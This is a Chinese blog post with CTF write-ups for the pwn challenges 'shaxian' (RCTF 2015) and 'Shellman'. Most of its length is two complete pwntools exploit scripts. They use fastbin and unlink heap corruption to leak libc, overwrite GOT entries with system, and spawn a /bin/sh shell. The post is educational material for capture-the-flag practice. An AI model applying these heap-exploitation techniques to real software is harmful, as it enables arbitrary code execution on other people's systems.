热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

深入解析CTF中的PWN挑战:Fastbin与堆溢出

本文将探讨2015年RCTF竞赛中的一道PWN题目——shaxian,重点分析其利用Fastbin和堆溢出的技巧。通过详细解析代码流程和漏洞利用过程,帮助读者理解此类题目的破解方法。
在本次分析中,我们将聚焦于2015年RCTF竞赛中的一道PWN题目——shaxian,探讨其关键点在于堆溢出技术的应用。首先,我们来看一下该题目的大致代码流程。

![代码流程图](https://www.#.com/go/aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvMTAyNDE5OC8yMDE3MDEvMTAyNDE5OC0yMDE3MDEwMTEwNDIwODEzMi05MTg0NTM4MDQucG5n)

从代码中可以看出,该题目主要依赖于Fastbin机制进行漏洞利用。由于分配堆之后直接进行写操作,因此使用了fastbin来实现任意读写功能。具体来说,通过覆盖now指针可以达到这一目的。

以下是针对此题目的EXP示例代码:

```python
from pwn import *

DEBUG = 1
LOCAL = 1
VERBOSE = 1
atoi_got = 0x804b038

if LOCAL:
r = process('shaxian')
else:
r = remote('127.0.0.1', 1001)

if DEBUG:
gdb.attach(r)

if VERBOSE:
context(log_level='debug')

def dcai(payload, number=0):
r.sendline('1')
r.recvuntil('Jianjiao')
r.sendline(payload)
r.recvuntil('How many?')
r.sendline(str(number))
r.recvuntil('choose:')

def submit():
r.sendline('2')
r.recvuntil('Your order has been submitted!')
r.recvuntil('choose:')

r.recvuntil('Address:')
r.sendline(p32(0) + p32(0x31))
r.recvuntil('Your Phone number:')
r.sendline('a' * 0xf0 + p32(0) + p32(0x31))
r.recvuntil('choose:')

payload = 'B' * 24 + p32(0) + p32(0x31) + p32(0x804b02c) # puts
dcai(payload)
r.sendline('4')
r.recvuntil('* ')
r.recvuntil('* ')
puts = int(r.recvuntil('\n').strip('\n')) & 0xffffffff

libc = puts - 0x657e0
print 'libc:', hex(libc)
system = libc + 0x40310
print 'system:', hex(system)
low8_system = (system <<8) % pow(2, 32)
payload = 'C' * 24 + p32(0) + p32(0x31) + p32(0x804b1b8)
dcai(payload)
raw_input('before')
submit()
raw_input('after')
payload = 'a' * 4 + p32(atoi_got - 1)
dcai(payload, low8_system)

r.sendline('/bin/sh')
r.interactive()
r.sendline('ls')
r.recv()
```

接下来,我们通过另一个PWN题目Shellman来进一步理解bins溢出的利用方法。这个题目与前文提到的freenote非常相似,但更加简化。以下是针对Shellman的EXP示例代码:

```python
from pwn import *

DEBUG = 0
LOCAL = 1
VERBOSE = 1

if LOCAL:
p = process('./shellman')
else:
p = remote('127.0.0.1', 6666)

if DEBUG:
gdb.attach(p)

if VERBOSE:
context(log_level='debug')

p.recvuntil('>')

def list_():
p.sendline('1')
k = p.recvuntil('>')
return k

def new(payload):
p.sendline('2')
p.recvuntil('Length of new shellcode:')
p.sendline(str(len(payload)))
p.recvuntil('Enter your shellcode(in raw format):')
p.send(payload)
p.recvuntil('>')

def edit(payload, num=0):
p.sendline('3')
p.recvuntil('Shellcode number:')
p.sendline(str(num))
p.recvuntil('Length of shellcode:')
p.sendline(str(len(payload)))
p.recvuntil('Enter your shellcode:')
p.send(payload)
p.recvuntil('>')

def delete(num=0):
p.sendline('4')
p.recvuntil('Shellcode number:')
p.sendline(str(num))
p.sendline(str(num))

first_size = 0x30
second_size = 0xa0

new('a' * first_size) # at 0x0079e010
new('b' * second_size) # at 0x0079e050
new('/bin/sh;')

PREV_IN_USE = 0x1
prev_size_0 = p64(0)
size_0 = p64(first_size | PREV_IN_USE)
fd_0 = p64(0x006016d0 - 0x18) # bk offset
bk_0 = p64(0x006016d0 - 0x10) # fd offset
user_data = 'm' * (first_size - 0x20) # 0x20 = chunk header size
prev_size_1 = p64(first_size)
size_1 = p64((second_size + 0x10) & (~PREV_IN_USE)) # make first chunk free

edit(prev_size_0 + size_0 + fd_0 + bk_0 + user_data + prev_size_1 + size_1)
# begin
delete(1)
# after unlink then *0x6016d0 == 0x6016b8, let's corrupt 0x6016d0 with libc_free_got
rubbish = 'whatthis'
is_shellcode_exist = p64(0x1)
shellcode_size = p64(0x8)
libc_free_got = p64(0x00601600)

edit(rubbish + is_shellcode_exist + shellcode_size + libc_free_got)
free_address = list_().split(': ')[1][0:16]

free_address = int(''.join(free_address[i:i+2] for i in range(14, -2, -2)), 16)
print 'free_address:', hex(free_address)
libc = free_address - 0x82d00
print 'libc_address:', hex(libc)
system = libc + 0x46590
print 'system_address:', hex(system)
edit(p64(system))
# just free
delete(2)
p.interactive()
```

通过上述代码示例,我们可以更深入地理解PWN题目的解题思路和技术细节。希望这些内容能够帮助读者更好地掌握PWN挑战的核心技巧。
推荐阅读
  • Python 工具推荐 | PyHubWeekly 第二十一期:提升命令行体验的五大工具
    本期 PyHubWeekly 为大家精选了 GitHub 上五个优秀的 Python 工具,涵盖金融数据可视化、终端美化、国际化支持、图像增强和远程 Shell 环境配置。欢迎关注并参与项目。 ... [详细]
  • 本文详细介绍了 Python 中的条件语句和循环结构。主要内容包括:1. 分支语句(if...elif...else);2. 循环语句(for, while 及嵌套循环);3. 控制循环的语句(break, continue, else)。通过具体示例,帮助读者更好地理解和应用这些语句。 ... [详细]
  • 探讨ChatGPT在法律和版权方面的潜在风险及影响,分析其作为内容创造工具的合法性和合规性。 ... [详细]
  • yikesnews第11期:微软Office两个0day和一个提权0day
    点击阅读原文可点击链接根据法国大选被黑客干扰,发送了带漏洞的文档Trumps_Attack_on_Syria_English.docx而此漏洞与ESET&FireEy ... [详细]
  • 深入解析 Android IPC 中的 Messenger 机制
    本文详细介绍了 Android 中基于消息传递的进程间通信(IPC)机制——Messenger。通过实例和源码分析,帮助开发者更好地理解和使用这一高效的通信工具。 ... [详细]
  • 主调|大侠_重温C++ ... [详细]
  • 本文介绍如何在Java中实现一个罗马数字计算器,重点在于如何通过循环和字符验证确保用户输入合法。我们将探讨创建一个方法来检查字符串中的非法字符,并使用循环不断提示用户输入,直到输入符合要求。 ... [详细]
  • 软件工程课堂测试2
    要做一个简单的保存网页界面,首先用jsp写出保存界面,本次界面比较简单,首先是三个提示语,后面是三个输入框,然 ... [详细]
  • 本文详细探讨了Java中的ClassLoader类加载器的工作原理,包括其如何将class文件加载至JVM中,以及JVM启动时的动态加载策略。文章还介绍了JVM内置的三种类加载器及其工作方式,并解释了类加载器的继承关系和双亲委托机制。 ... [详细]
  • 本文旨在探讨如何利用决策树算法实现对男女性别的分类。通过引入信息熵和信息增益的概念,结合具体的数据集,详细介绍了决策树的构建过程,并展示了其在实际应用中的效果。 ... [详细]
  • 本文深入探讨了UNIX/Linux系统中的进程间通信(IPC)机制,包括消息传递、同步和共享内存等。详细介绍了管道(Pipe)、有名管道(FIFO)、Posix和System V消息队列、互斥锁与条件变量、读写锁、信号量以及共享内存的使用方法和应用场景。 ... [详细]
  • 解决Windows下创建子进程时代码重复执行的问题
    在Windows系统中,当启动子进程时,主进程的文件会被复制到子进程中。由于导入模块时会执行该模块中的代码,因此可能导致某些代码在主进程和子进程中各执行一次。本文探讨了这一现象的原因及其解决方案。 ... [详细]
  • 在高并发需求的C++项目中,我们最初选择了JsonCpp进行JSON解析和序列化。然而,在处理大数据量时,JsonCpp频繁抛出异常,尤其是在多线程环境下问题更为突出。通过分析发现,旧版本的JsonCpp存在多线程安全性和性能瓶颈。经过评估,我们最终选择了RapidJSON作为替代方案,并实现了显著的性能提升。 ... [详细]
  • 本文介绍了如何通过Java代码计算一个整数的位数,并展示了多个基础编程示例,包括求和、平均分计算、条件判断等。 ... [详细]
  • 烤鸭|本文_Spring之Bean的生命周期详解
    烤鸭|本文_Spring之Bean的生命周期详解 ... [详细]
author-avatar
秘色瓷2502891691
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有